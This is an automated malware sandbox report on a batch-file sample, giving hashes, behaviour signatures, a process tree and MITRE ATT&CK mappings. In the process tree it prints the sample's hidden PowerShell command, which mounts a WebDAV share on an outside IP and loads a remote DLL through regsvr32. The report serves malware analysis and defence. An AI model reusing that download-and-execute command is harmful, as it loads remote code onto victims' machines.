4ac8a043805ff64dea888fb3859d36f1a2e6a27fc9d36d64da9c887c528fb5a3

Analysis

max time kernel
141s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 06:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

22160257741816426666.bat
Size

2KB
MD5

40dfe6b737470a7ef0e7a4051e462249
SHA1

bc71c3f175b07bf9f80abe6c5fd65d8b472d3fde
SHA256

4ac8a043805ff64dea888fb3859d36f1a2e6a27fc9d36d64da9c887c528fb5a3
SHA512

9016c35633718ed0350029f69f65b08ba292b9a3220fea7f0e284f8d54ed0c15dea98cef5eb4a648a1f13951b1706213c44e117244e4d798f266d7d89602aab0

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1116	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1116	powershell.exe
1116	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1116	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3440	wordpad.exe
3440	wordpad.exe
3440	wordpad.exe
3440	wordpad.exe
3440	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 632 wrote to memory of 3440	632	cmd.exe	87
PID 632 wrote to memory of 3440	632	cmd.exe	87
PID 632 wrote to memory of 1116	632	cmd.exe	89
PID 632 wrote to memory of 1116	632	cmd.exe	89
PID 1116 wrote to memory of 2112	1116	powershell.exe	91
PID 1116 wrote to memory of 2112	1116	powershell.exe	91
PID 1116 wrote to memory of 3468	1116	powershell.exe	92
PID 1116 wrote to memory of 3468	1116	powershell.exe	92

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\22160257741816426666.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:632
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\31692263011306.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1116
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2112
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\31692263011306.dll
    3⤵
    PID:3468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4296

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nojheeiu.fm5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1116-9-0x000001CFE71E0000-0x000001CFE7202000-memory.dmp

Filesize
136KB

Download